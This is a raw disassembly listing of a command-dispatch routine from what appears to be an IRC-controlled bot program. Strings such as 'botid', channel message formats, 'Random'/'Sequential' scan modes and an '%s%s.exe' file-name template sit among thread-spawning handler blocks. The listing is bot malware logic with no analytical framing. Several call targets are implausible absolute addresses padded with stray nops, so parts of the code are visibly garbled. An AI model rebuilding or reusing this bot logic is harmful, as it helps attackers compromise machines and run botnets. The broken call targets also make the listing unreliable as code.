add eax, 0FFFFFFD8h
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_411F5A
add [ebp+arg_24], 3Ch
inc [ebp+arg_0]
mov eax, [ebp+arg_24]
cmp [eax], ebx
jnz short loc_411F37
jmp short loc_411F74
; ---------------------------------------------------------------------------
loc_411F5A: ; CODE XREF: sub_40EE72+30D6j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_314], eax
imul ecx, 3Ch
mov ecx, dword_42ACB0[ecx]
mov [ebp+var_330], ecx
loc_411F74: ; CODE XREF: sub_40EE72+30BCj
; sub_40EE72+30E6j
cmp [ebp+var_330], ebx
jz loc_414039
mov edi, [ebp+esi+var_80]
cmp edi, ebx
mov [ebp+arg_18], edi
jz short loc_411FBB
cmp byte ptr [edi], 23h
jz short loc_411FBB
push edi
lea eax, [ebp+var_444]
push 10h
push eax
call sub_41782A
push 78h
push edi
call sub_418F50
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_304], eax
jmp loc_41208F
; ---------------------------------------------------------------------------
loc_411FBB: ; CODE XREF: sub_40EE72+3117j
; sub_40EE72+311Cj
cmp [ebp+var_9C7], bl
jnz short loc_411FDD
cmp [ebp+var_9C6], bl
jnz short loc_411FDD
cmp [ebp+var_9B6], bl
jnz short loc_411FDD
push offset unk_431694
jmp loc_4145FE
; ---------------------------------------------------------------------------
loc_411FDD: ; CODE XREF: sub_40EE72+314Fj
; sub_40EE72+3157j ...
push 10h
lea eax, [ebp+arg_0]
pop edi
push eax
lea eax, [ebp+var_2EC]
push eax
mov [ebp+arg_0], edi
push [ebp+arg_4]
call dword_43AD3C
mov al, [ebp+var_9C7]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2E8], eax
push [ebp+var_2E8]
call dword_43AE24
push eax
lea eax, [ebp+var_444]
push eax
call sub_418C10
add esp, 0Ch
cmp [ebp+var_9B6], bl
jz short loc_412089
xor eax, eax
cmp [ebp+var_9C7], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_444]
push eax
call sub_418F10
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_41207D
loc_41205B: ; CODE XREF: sub_40EE72+3209j
cmp eax, ebx
jz short loc_41207D
mov byte ptr [eax], 78h
lea eax, [ebp+var_444]
push 30h
push eax
call sub_418F10
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_41205B
loc_41207D: ; CODE XREF: sub_40EE72+31E7j
; sub_40EE72+31EBj
mov [ebp+var_304], 1
jmp short loc_41208F
; ---------------------------------------------------------------------------
loc_412089: ; CODE XREF: sub_40EE72+31C1j
mov [ebp+var_304], ebx
loc_41208F: ; CODE XREF: sub_40EE72+3144j
; sub_40EE72+3215j
mov eax, [ebp+arg_4]
push [ebp+var_8C]
mov [ebp+var_334], eax
mov eax, [ebp+var_4]
mov [ebp+var_30C], eax
mov eax, [ebp+var_8]
mov [ebp+var_308], eax
mov edi, 80h
lea eax, [ebp+var_434]
push edi
push eax
call sub_41782A
mov esi, [ebp+esi+var_7C]
add esp, 0Ch
cmp esi, ebx
jz short loc_4120E0
loc_4120CD: ; CODE XREF: sub_40EE72+3291j
push esi
loc_4120CE: ; CODE XREF: sub_40EE72+327Bj
lea eax, [ebp+var_3B4]
push edi
push eax
call sub_41782A
add esp, 0Ch
jmp short loc_41210B
; ---------------------------------------------------------------------------
loc_4120E0: ; CODE XREF: sub_40EE72+3259j
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_4120EF
cmp byte ptr [eax], 23h
jnz short loc_4120EF
push eax
jmp short loc_4120CE
; ---------------------------------------------------------------------------
loc_4120EF: ; CODE XREF: sub_40EE72+3273j
; sub_40EE72+3278j
mov esi, offset aF ; "#f"
push offset byte_436EDC
push esi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4120CD
mov [ebp+var_3B4], bl
loc_41210B: ; CODE XREF: sub_40EE72+326Cj
cmp [ebp+var_304], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_41211D
mov eax, offset aSequential ; "Sequential"
loc_41211D: ; CODE XREF: sub_40EE72+32A4j
push [ebp+var_318]
lea ecx, [ebp+var_444]
push [ebp+var_328]
push [ebp+var_32C]
push [ebp+var_330]
push ecx
push eax
lea eax, [ebp+var_2DC]
push offset unk_431610
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 8
push eax
call sub_416D5C
add esp, 2Ch
mov [ebp+var_324], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_444]
push ebx
push eax
push offset sub_40797F
push ebx
push ebx
call near ptr 2690C63h
nop
mov ecx, [ebp+var_324]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_4121AB
loc_412195: ; CODE XREF: sub_40EE72+3337j
cmp [ebp+var_300], ebx
jnz loc_41460C
push 32h
call near ptr 2610E88h
nop
jmp short loc_412195
; ---------------------------------------------------------------------------
loc_4121AB: ; CODE XREF: sub_40EE72+3321j
call near ptr 2660B07h
nop
push eax
push offset unk_4315C8
jmp loc_413BFD
; ---------------------------------------------------------------------------
loc_4121BC: ; CODE XREF: sub_40EE72+279Aj
; sub_40EE72+27B1j
push edi
call sub_41781F
imul eax, 234h
pop ecx
cmp byte_440808[eax], bl
jz loc_414F47
cmp [ebp+var_C], ebx
jz loc_414F47
push [ebp+arg_18]
call sub_417AB0
push edi
mov esi, eax
call sub_417AB0
push [ebp+arg_8]
add esi, eax
call sub_417AB0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_417880
add esp, 14h
mov esi, eax
lea eax, [ebp+var_2DC]
push esi
push offset dword_4315BC
push eax
call sub_4172B0
add esp, 0Ch
cmp esi, ebx
jz loc_414F47
push edi
call sub_41781F
test eax, eax
pop ecx
jle loc_414F47
push edi
call sub_41781F
cmp eax, 400h
pop ecx
jge loc_414F47
push ebx
lea eax, [ebp+var_2DC]
push ebx
push eax
push [ebp+arg_18]
push edi
call sub_41781F
imul eax, 234h
pop ecx
push dword_4407FC[eax]
call sub_40D679
push edi
call sub_41781F
imul eax, 234h
add esp, 18h
cmp byte ptr dword_4405F0[eax], 73h
jnz loc_414F47
push esi
push edi
call sub_41781F
imul eax, 234h
pop ecx
add eax, offset byte_440808
push eax
push [ebp+arg_18]
push offset aSSS_1 ; "[%s] * %s %s"
loc_4122A7: ; CODE XREF: sub_40EE72+3532j
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 28h
jmp loc_414F47
; ---------------------------------------------------------------------------
loc_4122D4: ; CODE XREF: sub_40EE72+276Cj
; sub_40EE72+2783j
push edi
call sub_41781F
imul eax, 234h
pop ecx
cmp byte_440808[eax], bl
jz loc_414F47
cmp [ebp+var_C], ebx
jz loc_414F47
push [ebp+arg_18]
call sub_417AB0
push edi
mov esi, eax
call sub_417AB0
push [ebp+arg_8]
add esi, eax
call sub_417AB0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_417880
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_414F47
push edi
call sub_41781F
test eax, eax
pop ecx
jle loc_414F47
push edi
call sub_41781F
cmp eax, 400h
pop ecx
jge loc_414F47
push ebx
push ebx
push esi
push [ebp+arg_18]
push edi
call sub_41781F
imul eax, 234h
pop ecx
push dword_4407FC[eax]
call sub_40D679
push edi
call sub_41781F
imul eax, 234h
add esp, 18h
cmp byte ptr dword_4405F0[eax], 73h
jnz loc_414F47
push esi
push edi
call sub_41781F
imul eax, 234h
pop ecx
add eax, offset byte_440808
push eax
push [ebp+arg_18]
push offset aSSS_0 ; "[%s] <%s> %s"
jmp loc_4122A7
; ---------------------------------------------------------------------------
loc_4123A9: ; CODE XREF: sub_40EE72+273Ej
; sub_40EE72+2755j
push edi
call dword_43ADD8
push [ebp+arg_18]
mov [ebp+var_474], eax
call sub_41781F
push [ebp+arg_0]
mov [ebp+var_480], eax
call sub_41781F
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_47C], eax
lea eax, [ebp+var_500]
mov [ebp+var_504], esi
push eax
call sub_418C10
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_46C], edi
push [ebp+var_47C]
mov [ebp+var_468], eax
push [ebp+var_480]
push [ebp+var_474]
call dword_43AE24
push eax
lea eax, [ebp+var_2DC]
push offset unk_431550
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 8
push eax
call sub_416D5C
add esp, 20h
mov [ebp+var_478], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_504]
push ebx
push eax
push offset byte_415E37
push ebx
push ebx
call near ptr 2690C63h
nop
mov ecx, [ebp+var_478]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_41248B
loc_412475: ; CODE XREF: sub_40EE72+3617j
cmp [ebp+var_464], ebx
jnz loc_4144E5
push 32h
nop
call near ptr 2610E88h
jmp short loc_412475
; ---------------------------------------------------------------------------
loc_41248B: ; CODE XREF: sub_40EE72+3601j
nop
call near ptr 2660B07h
push eax
push offset unk_431504
jmp loc_4144D6
; ---------------------------------------------------------------------------
loc_41249C: ; CODE XREF: sub_40EE72+2710j
; sub_40EE72+2727j
push edi
call sub_41781F
push 7Fh
mov [ebp+var_314], eax
push [ebp+arg_18]
lea eax, [ebp+var_418]
push eax
call sub_418C10
push [ebp+arg_0]
call sub_41781F
mov esi, [ebp+arg_4]
add esp, 14h
mov [ebp+var_318], eax
lea eax, [ebp+var_398]
push [ebp+var_8C]
mov [ebp+var_420], esi
push 80h
push eax
call sub_41782A
mov eax, [ebp+var_8]
add esp, 0Ch
mov edi, [ebp+var_4]
mov [ebp+var_304], eax
push [ebp+var_318]
lea eax, [ebp+var_418]
mov [ebp+var_308], edi
push eax
push [ebp+var_314]
push esi
call sub_40AEE0
pop ecx
push eax
lea eax, [ebp+var_2DC]
push offset unk_4314B8
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 10h
push eax
call sub_416D5C
add esp, 24h
mov [ebp+var_310], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_420]
push ebx
push eax
push offset sub_407BDE
push ebx
push ebx
nop
call near ptr 2690C63h
mov ecx, [ebp+var_310]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_412588
loc_412572: ; CODE XREF: sub_40EE72+3714j
cmp [ebp+var_300], ebx
jnz loc_4144E5
push 32h
call near ptr 2610E88h
nop
jmp short loc_412572
; ---------------------------------------------------------------------------
loc_412588: ; CODE XREF: sub_40EE72+36FEj
call near ptr 2660B07h
nop
push eax
push offset unk_431464
jmp loc_4144D6
; ---------------------------------------------------------------------------
loc_412599: ; CODE XREF: sub_40EE72+26E2j
; sub_40EE72+26F9j
push 0FFh
lea eax, [ebp+var_780]
push edi
push eax
call sub_418C10
push 0FFh
lea eax, [ebp+var_680]
push [ebp+arg_18]
push eax
call sub_418C10
push [ebp+arg_0]
mov [ebp+var_57C], ebx
call sub_41781F
mov [ebp+var_578], eax
mov eax, [ebp+esi+var_84]
add esp, 1Ch
cmp eax, ebx
jz short loc_4125F5
push 10h
push ebx
push eax
call sub_418A3B
add esp, 0Ch
mov [ebp+var_570], eax
jmp short loc_4125FB
; ---------------------------------------------------------------------------
loc_4125F5: ; CODE XREF: sub_40EE72+376Dj
mov [ebp+var_570], ebx
loc_4125FB: ; CODE XREF: sub_40EE72+3781j
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_412612
push esi
call sub_41781F
pop ecx
mov [ebp+var_574], eax
jmp short loc_412618
; ---------------------------------------------------------------------------
loc_412612: ; CODE XREF: sub_40EE72+378Fj
mov [ebp+var_574], ebx
loc_412618: ; CODE XREF: sub_40EE72+379Ej
movzx eax, [ebp+var_9C3]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_56C], eax
lea eax, [ebp+var_800]
mov [ebp+var_804], esi
push eax
call sub_418C10
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_564], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_568], eax
lea eax, [ebp+var_2DC]
push edi
push offset unk_431428
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_2DC]
push 16h
push eax
call sub_416D5C
add esp, 1Ch
mov [ebp+var_580], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_804]
push ebx
push eax
push offset sub_40CAF1
push ebx
push ebx
nop
call near ptr 2690C63h
mov ecx, [ebp+var_580]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_4126C9
loc_4126B3: ; CODE XREF: sub_40EE72+3855j
cmp [ebp+var_560], ebx
jnz loc_411D22
push 32h
call near ptr 2610E88h
nop
jmp short loc_4126B3
; ---------------------------------------------------------------------------
loc_4126C9: ; CODE XREF: sub_40EE72+383Fj
nop
call near ptr 2660B07h
push eax
push offset unk_4313D8
jmp loc_4128CC
; ---------------------------------------------------------------------------
loc_4126DA: ; CODE XREF: sub_40EE72+26B4j
; sub_40EE72+26CBj
push 7Fh
lea eax, [ebp+var_76C]
pop esi
push esi
push edi
push eax
call sub_418C10
push esi
lea eax, [ebp+var_6EC]
push [ebp+arg_18]
push eax
call sub_418C10
push esi
lea eax, [ebp+var_66C]
push [ebp+arg_0]
push eax
call sub_418C10
push esi
lea eax, [ebp+var_5EC]
push [ebp+var_8C]
push eax
call sub_418C10
mov eax, [ebp+var_8]
add esp, 30h
mov esi, [ebp+var_4]
mov [ebp+var_564], eax
push [ebp+arg_0]
mov eax, [ebp+arg_4]
mov [ebp+var_770], eax
lea eax, [ebp+var_2DC]
push [ebp+arg_18]
mov [ebp+var_568], esi
push edi
push offset dword_43139C
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 0Bh
push eax
call sub_416D5C
add esp, 20h
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_770]
push ebx
push eax
push offset sub_4019D7
push ebx
push ebx
nop
call near ptr 2690C63h
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_4127AD
loc_41279B: ; CODE XREF: sub_40EE72+3939j
cmp [ebp+var_560], ebx
jnz short loc_4127C8
push 32h
call near ptr 2610E88h
nop
jmp short loc_41279B
; ---------------------------------------------------------------------------
loc_4127AD: ; CODE XREF: sub_40EE72+3927j
nop
call near ptr 2660B07h
push eax
lea eax, [ebp+var_2DC]
push offset dword_431354
push eax
call sub_4172B0
add esp, 0Ch
loc_4127C8: ; CODE XREF: sub_40EE72+392Fj
cmp [ebp+var_8], ebx
jnz loc_414E11
push ebx
push esi
jmp loc_414619
; ---------------------------------------------------------------------------
loc_4127D8: ; CODE XREF: sub_40EE72+266Fj
; sub_40EE72+2686j ...
push 7Fh
lea eax, [ebp+var_7E8]
pop esi
push esi
push edi
push eax
call sub_418C10
push esi
lea eax, [ebp+var_768]
push [ebp+arg_18]
push eax
call sub_418C10
push esi
lea eax, [ebp+var_6E8]
push [ebp+arg_0]
push eax
call sub_418C10
push esi
lea eax, [ebp+var_668]
push [ebp+var_8C]
push eax
call sub_418C10
push 20h
lea eax, [ebp+var_5E8]
push [ebp+arg_8]
push eax
call sub_418C10
mov eax, [ebp+var_4]
add esp, 3Ch
mov esi, [ebp+arg_4]
mov [ebp+var_568], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_2DC]
push [ebp+arg_18]
mov [ebp+var_7F0], esi
push edi
push offset unk_431314
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 0Ah
push eax
call sub_416D5C
add esp, 20h
mov [ebp+var_7EC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_7F0]
push ebx
push eax
push offset sub_401000
push ebx
push ebx
call near ptr 2690C63h
nop
mov ecx, [ebp+var_7EC]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_4128C0
loc_4128AA: ; CODE XREF: sub_40EE72+3A4Cj
cmp [ebp+var_560], ebx
jnz loc_411D22
push 32h
call near ptr 2610E88h
nop
jmp short loc_4128AA
; ---------------------------------------------------------------------------
loc_4128C0: ; CODE XREF: sub_40EE72+3A36j
nop
call near ptr 2660B07h
push eax
push offset unk_4312CC
loc_4128CC: ; CODE XREF: sub_40EE72+2E92j
; sub_40EE72+2FEEj ...
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
jmp loc_411D1F
; ---------------------------------------------------------------------------
loc_4128DD: ; CODE XREF: sub_40EE72+2641j
; sub_40EE72+2658j
push 7Fh
lea eax, [ebp+var_458]
push edi
push eax
call sub_418C10
push [ebp+arg_18]
call sub_41781F
push 3Fh
mov [ebp+var_308], eax
push [ebp+arg_0]
lea eax, [ebp+var_3D8]
push eax
call sub_418C10
mov esi, [ebp+esi+var_84]
add esp, 1Ch
cmp esi, ebx
jz short loc_41292B
push 3Fh
lea eax, [ebp+var_398]
push esi
push eax
call sub_418C10
add esp, 0Ch
loc_41292B: ; CODE XREF: sub_40EE72+3AA5j
lea eax, [ebp+var_3D8]
mov [ebp+var_304], 1
push eax
lea eax, [ebp+var_458]
push [ebp+var_308]
push eax
lea eax, [ebp+var_2DC]
push offset unk_43128C
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 18h
push eax
call sub_416D5C
add esp, 20h
mov [ebp+var_300], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_45C]
push ebx
push eax
push offset sub_40EB92
push ebx
push ebx
nop
call near ptr 2690C63h
mov ecx, [ebp+var_300]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_4129B7
loc_4129A1: ; CODE XREF: sub_40EE72+3B43j
cmp [ebp+var_2FC], ebx
jnz loc_413A62
push 32h
nop
call near ptr 2610E88h
jmp short loc_4129A1
; ---------------------------------------------------------------------------
loc_4129B7: ; CODE XREF: sub_40EE72+3B2Dj
nop
call near ptr 2660B07h
push eax
push offset unk_431244
jmp loc_411888
; ---------------------------------------------------------------------------
loc_4129C8: ; CODE XREF: sub_40EE72+2601j
; sub_40EE72+2618j
push [ebp+arg_18]
call sub_41781F
cmp eax, ebx
pop ecx
mov [ebp+var_570], eax
jle loc_412ABF
mov esi, 80h
push edi
lea eax, [ebp+var_6F8]
push esi
push eax
call sub_41782A
add esp, 0Ch
xor eax, eax
cmp [ebp+var_9B6], bl
push [ebp+var_8C]
setnz al
mov [ebp+var_56C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_6FC], eax
lea eax, [ebp+var_5F8]
push esi
push eax
call sub_41782A
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_564], eax
lea eax, [ebp+var_2DC]
push edi
push offset unk_431208
push 200h
push eax
call sub_41782A
push ebx
lea eax, [ebp+var_2DC]
push 0Dh
push eax
call sub_416D5C
add esp, 20h
mov [ebp+var_578], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_6FC]
push ebx
push eax
push offset sub_40144A
push ebx
push ebx
call near ptr 2690C63h
nop
mov ecx, [ebp+var_578]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_412AAE
loc_412A98: ; CODE XREF: sub_40EE72+3C3Aj
cmp [ebp+var_560], ebx
jnz loc_41460C
push 32h
call near ptr 2610E88h
nop
jmp short loc_412A98
; ---------------------------------------------------------------------------
loc_412AAE: ; CODE XREF: sub_40EE72+3C24j
nop
call near ptr 2660B07h
push eax
push offset unk_4311C0
jmp loc_413BFD
; ---------------------------------------------------------------------------
loc_412ABF: ; CODE XREF: sub_40EE72+3B67j
push offset unk_431178
jmp loc_4145FE
; ---------------------------------------------------------------------------
loc_412AC9: ; CODE XREF: sub_40EE72+25D3j
; sub_40EE72+25EAj
push [ebp+arg_18]
push edi
nop
call near ptr 27F0A69h
test eax, eax
jz short loc_412AF9
push [ebp+arg_18]
lea eax, [ebp+var_2DC]
push edi
push offset unk_431144
push 200h
push eax
call sub_41782A
add esp, 14h
jmp loc_41460C
; ---------------------------------------------------------------------------
loc_412AF9: ; CODE XREF: sub_40EE72+3C63j
push offset dword_431128
call sub_40AA35
pop ecx
push eax
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_41782A
jmp loc_413C09
; ---------------------------------------------------------------------------
loc_412B1B: ; CODE XREF: sub_40EE72+25A5j
; sub_40EE72+25BCj
push edi
lea eax, [ebp+var_774]
push 104h
push eax
call sub_41782A
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_412B55
push [ebp+arg_18]
push [ebp+var_C]
call sub_417880
pop ecx
cmp eax, ebx
pop ecx
jz short loc_412B55
push eax
lea eax, [ebp+var_670]
push eax
call sub_4172B0
pop ecx
pop ecx
loc_412B55: ; CODE XREF: sub_40EE72+3CC1j
; sub_40EE72+3CD2j
push [ebp+var_8C]
lea eax, [ebp+var_7F4]
push 80h
push eax
call sub_41782A
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_7F8], eax
mov eax, [ebp+var_4]
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_670]
push eax
lea eax, [ebp+var_774]
push eax
push offset unk_4310E8
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_41782A
push ebx
lea eax, [ebp+var_2DC]
push 1Ch
push eax
call sub_416D5C
add esp, 20h
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_7F8]
push ebx
push eax
push offset sub_408DCA
push ebx
push ebx
nop
call near ptr 2690C63h
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_412C0B
loc_412BF5: ; CODE XREF: sub_40EE72+3D97j
cmp [ebp+var_560], ebx
jnz loc_414E11
push 32h
nop
call near ptr 2610E88h
jmp short loc_412BF5
; ---------------------------------------------------------------------------
loc_412C0B: ; CODE XREF: sub_40EE72+3D81j
nop
call near ptr 2660B07h
push eax
push offset unk_43109C
jmp loc_414E02
; ---------------------------------------------------------------------------
loc_412C1C: ; CODE XREF: sub_40EE72+2577j
; sub_40EE72+258Ej
push 44h
lea eax, [ebp+var_4A0]
pop esi
push esi
push ebx
push eax
call sub_417330
push 1
mov [ebp+var_4A0], esi
pop esi
mov word ptr [ebp+var_470], bx
push edi
mov [ebp+var_474], esi
call sub_41781F
add esp, 10h
cmp eax, esi
jnz short loc_412C59
mov word ptr [ebp+var_470], 5
loc_412C59: ; CODE XREF: sub_40EE72+3DDCj
cmp [ebp+var_C], ebx
jz loc_413A62
push [ebp+arg_18]
push [ebp+var_C]
call sub_417880
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_413A62
lea eax, [ebp+var_2EC]
push eax
lea eax, [ebp+var_4A0]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call near ptr 2760BE6h
nop
test eax, eax
jnz short loc_412CA4
push offset unk_431068
jmp loc_413A54
; ---------------------------------------------------------------------------
loc_412CA4: ; CODE XREF: sub_40EE72+3E26j
push edi
push offset dword_431040
jmp loc_411888
; ---------------------------------------------------------------------------
loc_412CAF: ; CODE XREF: sub_40EE72+2549j
; sub_40EE72+2560j
push [ebp+arg_18]
push offset aBotid ; "botid"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412E29
lea eax, [ebp+var_3FC]
push eax
push 104h
nop
call near ptr 27800B9h
push 0FFh
lea eax, [ebp+var_780]
push edi
push eax
call sub_418C10
lea eax, [ebp+var_2F8]
push eax
call sub_4159F4
add esp, 10h
push eax
lea eax, [ebp+var_3FC]
push eax
lea eax, [ebp+var_680]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_4172B0
mov eax, [ebp+esi+var_88]
add esp, 10h
cmp eax, ebx
mov [ebp+var_57C], 1
mov [ebp+var_578], ebx
jz short loc_412D44
push 10h
push ebx
push eax
call sub_418A3B
add esp, 0Ch
mov [ebp+var_570], eax
jmp short loc_412D4A
; ---------------------------------------------------------------------------
loc_412D44: ; CODE XREF: sub_40EE72+3EBCj
mov [ebp+var_570], ebx
loc_412D4A: ; CODE XREF: sub_40EE72+3ED0j
mov esi, [ebp+esi+var_84]
cmp esi, ebx
jz short loc_412D64
push esi
call sub_41781F
pop ecx
mov [ebp+var_574], eax
jmp short loc_412D6A
; ---------------------------------------------------------------------------
loc_412D64: ; CODE XREF: sub_40EE72+3EE1j
mov [ebp+var_574], ebx
loc_412D6A: ; CODE XREF: sub_40EE72+3EF0j
movzx eax, [ebp+var_9C3]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_56C], eax
lea eax, [ebp+var_800]
mov [ebp+var_804], esi
push eax
call sub_418C10
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_564], eax
mov eax, [ebp+var_8]
mov [ebp+var_568], eax
push edi
lea eax, [ebp+var_2DC]
push offset unk_430FF8
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_2DC]
push 17h
push eax
call sub_416D5C
add esp, 18h
mov [ebp+var_580], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_804]
push ebx
push eax
push offset sub_40CAF1
push ebx
push ebx
nop
call near ptr 2690C63h
mov ecx, [ebp+var_580]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_412E18
loc_412E02: ; CODE XREF: sub_40EE72+3FA4j
cmp [ebp+var_560], ebx
jnz loc_413A62
push 32h
nop
call near ptr 2610E88h
jmp short loc_412E02
; ---------------------------------------------------------------------------
loc_412E18: ; CODE XREF: sub_40EE72+3F8Ej
call near ptr 2660B07h
nop
push eax
push offset unk_430FAC
jmp loc_411888
; ---------------------------------------------------------------------------
loc_412E29: ; CODE XREF: sub_40EE72+3E4Ej
push offset unk_430F58
jmp loc_413A54
; ---------------------------------------------------------------------------
loc_412E33: ; CODE XREF: sub_40EE72+251Bj
; sub_40EE72+2532j
push [ebp+var_90]
push offset dword_432D74
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_40F239
cmp [ebp+var_C], ebx
jz loc_40F239
push [ebp+arg_18]
push [ebp+var_C]
call sub_417880
pop ecx
pop ecx
push eax
lea eax, [ebp+var_2DC]
push [ebp+var_8C]
push [ebp+var_90]
push [ebp+var_94]
push offset dword_430F48
push eax
call sub_4172B0
lea eax, [ebp+var_2DC]
push 1FFh
push eax
push [ebp+arg_0]
call sub_418C10
push edi
call sub_41781F
add esp, 28h
test eax, eax
jle short loc_412EBC
push edi
call sub_41781F
imul eax, 3E8h
pop ecx
push eax
nop
call near ptr 2610E88h
loc_412EBC: ; CODE XREF: sub_40EE72+4034j
push offset dword_430F24
call sub_40BF6D
mov eax, [ebp+arg_24]
pop ecx
inc eax
jmp loc_40F23C
; ---------------------------------------------------------------------------
loc_412ED0: ; CODE XREF: sub_40EE72+24EDj
; sub_40EE72+2504j
push [ebp+var_90]
push offset dword_432D74
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_40F239
cmp [ebp+var_C], ebx
jz loc_414F47
push [ebp+arg_18]
push [ebp+var_C]
call sub_417880
mov esi, eax
mov eax, [ebp+arg_18]
inc eax
push offset aRepeat ; "repeat"
push eax
call sub_4176D0
add esp, 10h
test eax, eax
push esi
jz short loc_412F8F
push [ebp+var_8C]
lea eax, [ebp+var_2DC]
push [ebp+var_90]
push [ebp+var_94]
push offset dword_430F48
push eax
call sub_4172B0
lea eax, [ebp+var_2DC]
push 1FFh
push eax
push [ebp+arg_0]
call sub_418C10
loc_412F4E: ; DATA XREF: ___:off_42DE40o
add esp, 24h
lea eax, [ebp+var_2DC]
push esi
push offset dword_430EF4
push eax
call sub_4172B0
lea eax, [ebp+var_2DC]
push eax
call sub_40BF6D
push edi
call sub_41781F
add esp, 14h
test eax, eax
jle loc_414F47
push edi
call sub_41781F
add eax, [ebp+arg_24]
pop ecx
jmp loc_40F23C
; ---------------------------------------------------------------------------
loc_412F8F: ; CODE XREF: sub_40EE72+40A3j
push offset dword_430EB0
jmp loc_411888
; ---------------------------------------------------------------------------
loc_412F99: ; CODE XREF: sub_40EE72+24BFj
; sub_40EE72+24D6j
push [ebp+arg_18]
lea eax, [ebp+var_2DC]
push offset dword_430EA8
push eax
call sub_4172B0
push edi
call sub_41781F
add esp, 10h
loc_412FB6: ; CODE XREF: sub_40EE72+41AEj
test eax, eax
jle loc_414F47
push edi
call sub_41781F
cmp eax, 400h
pop ecx
jge loc_414F47
loc_412FD0: ; CODE XREF: sub_40EE72+4CBBj
lea eax, [ebp+var_2DC]
push eax
push offset dword_428598
push edi
call sub_41781F
imul eax, 234h
pop ecx
push dword_4407FC[eax]
call sub_40D633
loc_412FF4: ; CODE XREF: sub_40EE72+4469j
; sub_40EE72+5D44j
add esp, 0Ch
jmp loc_414F47
; ---------------------------------------------------------------------------
loc_412FFC: ; CODE XREF: sub_40EE72+2491j
; sub_40EE72+24A8j
push [ebp+esi+var_88]
lea eax, [ebp+var_2DC]
push [ebp+arg_18]
push offset dword_430E9C
push eax
call sub_4172B0
push edi
call sub_41781F
add esp, 14h
